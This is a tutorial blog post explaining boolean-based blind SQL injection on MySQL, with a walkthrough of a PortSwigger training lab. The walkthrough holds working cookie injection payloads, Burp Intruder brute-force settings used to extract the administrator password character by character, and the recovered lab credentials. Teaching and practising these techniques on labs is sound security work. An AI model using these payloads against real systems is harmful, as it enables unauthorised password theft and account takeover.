Recap
Hey there, welcome back! Let’s do a quick recap of our previous article. We talked about in-band SQL injection, where sneaky attackers can snatch data using the same channel they communicate with the website. We took a closer look at two well-known techniques: union-based and error-based with examples to show how it all works.
Types of SQL injection attacks
Now that we have explored in-band SQL injection techniques, let’s shift our focus to inferential and out-of-band attacks.
To avoid a lengthy article, we have divided the content into separate articles, each focusing on specific types of SQL injection. The articles will only cover the basic understanding of it. A further elaboration of the exploitation would be covered on a different series.
In this second part of this series, we will look into the Inferential SQL injection on MySQL DBMS.
Inferential SQL injection
Inferential SQL injection, commonly known as blind SQL injection, occurs when the attacker analyses server responses and behavioral patterns after injecting specific payloads. Unlike in-band attacks, no data directly returned by the web application to the attacker, which defines why it is called “blind” attacks.
The two most common techniques of inferential (blind) SQL injection are:
- Boolean-based
- Time-based
We will focus on the Boolean-based in this article, and will cover the Time-based in the upcoming post.
Boolean-based
In boolean-based SQL injection, the attacker manipulates the SQL query to force the application to return different responses based on whether the query evaluates to TRUE or FALSE.
As an example of a query is look similar to the following:
SELECT IF(1=1, (select name from staff where id=1), 'ERROR');
The above example uses IF()
function, which follows the following syntax:
IF(_condition_, _value_if_true_, _value_if_false_)
The _condition_
is set to 1=1
which evaluates to TRUE, so the function will execute the _value_if_true_
, which in this case has been set to (select name from staff where id=1)
. Thus, the application will return the requested SQL query from the database, “what’s the name of the staff with ID equals to 1”
Now, let us see how it looks like by using DB Fiddle.
Now let us take a look what would happen if the condition is not met. The _condition_
is now set to 1=2
which evaluates to FALSE. Thus, the IF()
function will execute the _value_if_false_
, which in this case has been set to only print out the ERROR
word.
Do note that:
- In blind SQL injection context, the application behavior is what we need to observe:
a. Behaves normally, indicates the query is TRUE.
b. Behaves abnormally, indicates the query is FALSE.
Also do note that, the TRUE condition also can come in the following:
"a"="a"
* "a" character is equal to "a"
"foo"="foo"
* "foo" string is equal to "foo"
3>1
* math operator of 3 is greater than 1 is TRUE
more.
The following can be a FALSE condition too:
"a"="b"
* "a" character is NOT equal to "b"
"foo"="foox"
* "foo" string is NOT equal to "foox"
3<1
* math operator of 3 is lower than 1 is FALSE
more.
Other than IF()
function, the following are some other examples of SQL functions that are generally used in boolean-based approach:
IF()
RAND()
ASCII()
LENGTH()
SUBSTRING()
MID()
and more..
Some of the functions could be available in the other DBMS as well. This is what something you could study further.
Now, let’s shift our focus to a practical example from PortSwigger Academy.
Resources: PortSwigger: Blind SQL Injection - Conditional Responses
Scenario: Blind SQL injection with conditional responses.
The application executes a SQL query using the submitted cookie value. No visible results or errors are return, but a Welcome back! message appears when the query returns rows. In the database, there is a table named 'users'
with columns of'username'
and 'password'
. To solve the lab, we need to log in as the administrator
user.
After gaining access to the lab, we are greeted with an e-commerce website with a Welcome back! message in the top right corner.
Click on a category, intercept the request using Burp Suite, and send it to Repeater. This enables us to inject payloads and analyse responses more effectively. Pay close attention to the TrackingId=KG1asJAerNSeZ2s5
cookie.
Let’s change the cookie value to TrackingId=KG1asJAerNSeZ2s5'abc123
and check if we are still able to receive the Welcome back! message.
No luck! The message is now absent.
Now, let’s attempt to uncover the administrator’s password. We’ll inject a simple boolean condition ' AND 1=1-- -
next to the cookie value for testing and note the presence of the Welcome back! message.
Next, let’s try with this boolean condition ' AND 1=2 -- -
and note the absence of the Welcome back! message.
Simplified version:
Welcome back! present = TRUE
Welcome back! absent = FALSE
Remember, the blind SQL injection process requires patience. Keep persistently guessing until we receive a TRUE response. Now, let’s inject with specific payloads.
In this demonstration, let’s start by checking the length of administrator’s password.
' AND (SELECT LENGTH(password) FROM users WHERE username='administrator') > 20 -- -
Result: FALSE . This means the length of the password is not greater than 20 characters.
Let’s validate if the length is actually exactly 20 characters.
' AND (SELECT LENGTH(password) FROM users WHERE username='administrator') = 20 -- -
Result: TRUE . Correct! The length is 20.
Next, we can start to determine what is the password. To do it, we start by checking what is the first character of the password using the following query.
' AND (SELECT SUBSTRING(password, 1, 1) FROM users WHERE username='administrator') > 'k' -- -
The above query will attempt to gather data from the password
column belonging to the username=administrator
within the users
table. Using the SUBSTRING()
function, we could enumerate the password from one character to one character.
The SUBSTRING()
function works like the following:
SUBSTRING(_string_, _start_, _length_)
Hence, the overall query, in a simple explanation will perform the following:
1 - this query' AND "perform this SQL query"
2 - SELECT "this column" FROM "this table" WHERE the "identifier is username=administrator"
3 - SUBSTRING("this column","first character","length") is greater than 'k' -- -
Result: FALSE . This means, the first character of the administrator’s password should not be higher than ‘k’
Let’s try to change the character to “e”.
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator') = 'e' -- -
Result: TRUE . We found it! The first character starts with “e”.
Next we can move to the second character of the administrator’s password. We just need to replace the SUBSTRING(password,1,1)
to SUBSTRING(password,2,1)
' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator') > '7' -- -
Result: TRUE . We found it! The second character is greater than “7”.
Since it is greather than “7”, it can be “8” or “9” or more. Let’s try “9”.
' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator') = '9' -- -
Result: TRUE . Nice! Now we know the second character is “9”.
Guessing a 20-characters long password via this approach is time consuming. To expedite the process, we will leverage the Intruder feature in Burp Suite.
Begin by forwarding the request to Intruder and choose Cluster bomb as the attack type. Clear the payload position with Clear § and click Add § on the position where payloads will be inserted.
Then, go to ‘Payload’ tab and set the payloads as below:
For payload set 1, we opted for number payloads. In the settings, we specified the range as 1 to 20 to align with the password length, with an increment of 1.
For payload set 2, we opted for brute force payload. In the settings, we specified the minimum and maximum lengths as 1. The characters have been set by default.
Under the ‘Options’ tab, we need to add ‘Welcome back’ as a new expression in the settings to highlight results that match the specified expression.
Click on ‘Start attack’ and patiently await its completion. Once done, we can organise the results by sorting and arranging the characters in the correct order. Sort the “Payload 1” from low to high numbers.
We found the password! e9096v2nw6tsdjvf3an3
.
To solve the lab, click on ‘My Account’, enter the username and password that we have discovered.
username: administrator
password: e9096v2nw6tsdjvf3an3
Upon clicking the ‘Login’, we have successfully login as administrator.
We are done with the Boolean-based. See you all in the next post where we will cover the Time-based approach.
Thank you.
References:
- https://github.com/OWASP/www-community/blob/master/pages/attacks/Blind_SQL_Injection.md
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL Injection/MySQL Injection.md
- https://www.websec.ca/kb/sql_injection
- https://www.w3schools.com/sql/func_mysql_if.asp
- https://www.w3schools.com/sql/func_mysql_substring.asp
Author: Alysha from RE:HACK